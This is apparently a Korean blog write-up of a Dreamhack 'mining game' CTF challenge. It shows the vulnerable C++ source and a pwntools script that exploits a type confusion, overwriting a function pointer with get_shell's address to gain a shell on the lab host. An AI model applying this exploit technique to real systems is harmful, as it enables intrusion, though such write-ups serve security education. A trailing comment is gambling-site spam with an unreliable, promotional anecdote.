[Dreamhack] mining game

김성진·2022년 8월 8일

Dreamhack_System

목록 보기
44/44

📒 Description

재미있겠다.


📒 C code & exploit

📖 main.cpp

// g++ -o main main.cpp

#include <iostream>
#include <vector>
#include <string>
#include <random>
#include <chrono>
#include <thread>
#include <csignal>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <unistd.h>

#define CMD_MINING                  1
#define CMD_SHOW_MINERAL_BOOK       2
#define CMD_EDIT_MINERAL_BOOK       3
#define CMD_EXIT                    4

#define MAX_DESCRIPTION_SIZE 0x10

typedef void (*DESC_FUNC)(void);

/* Initialization */

void get_shell()
{
    system("/bin/sh");
}

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void __attribute__((constructor)) initialize(void)
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(60);
}

/* Print functions */

void print_banner()
{
    std::cout << "I love minerals!" << std::endl;
}

void print_menu()
{
    std::cout << std::endl << "[Menu]" << std::endl;
    std::cout << "1. Mining" << std::endl;
    std::cout << "2. Show mineral book" << std::endl;
    std::cout << "3. Edit mineral book" << std::endl;
    std::cout << "4. Exit program" << std::endl;
}

void print_scandium_description()
{
    std::cout << "Name        : Scandium" << std::endl;
    std::cout << "Symbol      : Sc" << std::endl;
    std::cout << "Description : A silvery-white metallic d-block element" << std::endl;
}

void print_yttrium_description()
{
    std::cout << "Name        : Yttrium" << std::endl;
    std::cout << "Symbol      : Y" << std::endl;
    std::cout << "Description : A silvery-metallic transition metal chemically similar to the lanthanides" << std::endl;
}

void print_lanthanum_description()
{
    std::cout << "Name        : Lanthanum" << std::endl;
    std::cout << "Symbol      : La" << std::endl;
    std::cout << "Description : A soft, ductile, silvery-white metal that tarnishes slowly when exposed to air" << std::endl;
}

void print_cerium_description()
{
    std::cout << "Name        : Cerium" << std::endl;
    std::cout << "Symbol      : Ce" << std::endl;
    std::cout << "Description : A soft, ductile, and silvery-white metal that tarnishes when exposed to air" << std::endl;
}

void print_praseodymium_description()
{
    std::cout << "Name        : Praseodymium" << std::endl;
    std::cout << "Symbol      : Pr" << std::endl;
    std::cout << "Description : A soft, silvery, malleable and ductile metal, valued for its magnetic, electrical, chemical, and optical properties" << std::endl;
}

std::vector<DESC_FUNC> rare_earth_description_funcs = {
    print_scandium_description,
    print_yttrium_description,
    print_lanthanum_description,
    print_cerium_description,
    print_praseodymium_description
};

/* Utils */

int get_int(const char* prompt = ">> ")
{
    std::cout << prompt;

    int x;
    std::cin >> x;
    return x;
}

std::string get_string(const char* prompt = ">> ")
{
    std::cout << prompt;

    std::string x;
    std::cin >> x;
    return x;
}

int get_rand_int(int start, int end)
{
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<int> dis(start, end);

    return dis(gen);
}

/* Classes */

class Mineral 
{
public:
    virtual void print_description() const = 0;
};

class UndiscoveredMineral : public Mineral
{
public:
    UndiscoveredMineral(std::string description_)
    {
        strncpy(description, description_.c_str(), MAX_DESCRIPTION_SIZE);
    }

    void print_description() const override 
    {
        std::cout << "Name        : Unknown" << std::endl;
        std::cout << "Symbol      : Un" << std::endl;
        std::cout << "Description : " << description << std::endl;
    }

    char description[MAX_DESCRIPTION_SIZE];
};

class RareEarth : public Mineral
{
public:
    RareEarth(DESC_FUNC description_)
    : description(description_)
    {

    }

    void print_description() const override 
    {
        if ( description )
            description();
    }

    DESC_FUNC description;   
};

/* Action functions */

std::vector<Mineral *> minerals;

void mining()
{
    std::cout << "[+] Mining..." << std::endl;
    std::this_thread::sleep_for(std::chrono::milliseconds(get_rand_int(100, 1000)));

    if ( get_rand_int(1, 100) <= 50 )
    {
        std::cout << "[+] Congratulations! you found an *undiscovered* mineral!" << std::endl;
        
        std::string description = get_string("Please enter mineral's description : ");
        minerals.push_back(new UndiscoveredMineral(description));
    }

    else if ( get_rand_int(1, 100) <= 5 )
    {
        std::cout << "[+] You found a rare-earth element!" << std::endl;
        
        DESC_FUNC description = rare_earth_description_funcs[get_rand_int(0, rare_earth_description_funcs.size() - 1)];
        minerals.push_back(new RareEarth(description));
        minerals.back()->print_description();
    }

    else {
        std::cout << "[!] Found nothing" << std::endl;
    }
        
    return;
}

void edit_mineral_book()
{
    int index = get_int("[?] Index : ");

    if ( index < 0 || index >= minerals.size() )
    {
        std::cout << "[!] Invalid index" << std::endl;
        return;
    }

    std::string description = get_string("Please enter mineral's description : ");
    strncpy(
        static_cast<UndiscoveredMineral*>(minerals[index])->description,
        description.c_str(),
        MAX_DESCRIPTION_SIZE
    );
}

void show_mineral_book()
{
    for ( int index = 0; index < minerals.size(); index++ )
    {
        std::cout << "--------------------" << std::endl;
        std::cout << "Index       : " << index << std::endl;
        minerals[index]->print_description();
    }

    std::cout << std::endl;
}

/* Main function */

int main(){
    print_banner();

    while(1){
        print_menu();

        int selector = get_int();

        switch (selector){
            case CMD_MINING:
                mining();
                break;

            case CMD_SHOW_MINERAL_BOOK:
                show_mineral_book();
                break;

            case CMD_EDIT_MINERAL_BOOK:
                edit_mineral_book();
                break;

            case CMD_EXIT:
                return 0;

            default:
                std::cout << "[!] You select wrong number!" << std::endl;
                break;
        }
    }
    return 0;    
}

어...뭐가 좀 길긴 하다.
만약 rare_earth를 채굴해낸 다음에, 그 설명을 get_shell의 주소로 바꾸고 설명을 출력시킨다면? 문제는 해결된다.

어려워 보이기는 하지만, 매우 쉬운 문제이므로 다른 설명까지 쓰진 않는다.

exploit.py

from pwn import *
p = remote('host3.dreamhack.games', 20578)

getsh_addr = 0x402576

payload = p64(getsh_addr) 
idx = 0
while(1):
    print(idx)
    p.recvuntil('>> ')
    p.sendline("1")
    p.recvline()
    sleep(1.1)
    a = p.recvline()
    print('output : ' + a)
    if(a == "[+] Congratulations! you found an *undiscovered* mineral!\n" or a == "[+] You found a rare-earth element!\n"):
        if(a == "[+] Congratulations! you found an *undiscovered* mineral!\n"):
            print('mineral')
            p.recvuntil("Please enter mineral's description : ")
            p.sendline("aaaa")
            idx+=1
        else:
            print('rare-earth')
            print(p.recvline())
            print(p.recvline())
            print(p.recvline())
            print(p.recvline())
            print(p.recvline())
            p.recvuntil('>> ')
            #print(p.recvline())
            p.sendline('3')
            print(p.recv(12))
            p.sendline(str(idx))
            print(p.recv(37))
            p.send(payload)
            p.interactive()

payload를 보내는 구현까지 했다. 이후 interactive되면 설명을 출력시키기 위해 2를 누르면 된다. 근데 rare_earth를 채굴할 확률이 적어서 세 개 정도는 돌려놓자...위처럼 출력을 하다가 rare의 출력을 실행할 때 쉘이 따진다.

profile
Today I Learned

3개의 댓글

comment-user-thumbnail
2024년 9월 15일

Despite several initial losses, Samantha’s determination to win kept her spinning the reels. Her persistence paid off when she finally triggered the game’s progressive jackpot feature, which had been steadily growing with each spin. The https://jogodotigrinho.net.br/ sudden windfall was both thrilling and gratifying, proving that perseverance could lead to unexpected rewards. Samantha’s story is a reminder that even in gambling, where luck plays a significant role, persistence and a positive mindset can sometimes lead to remarkable results.

답글 달기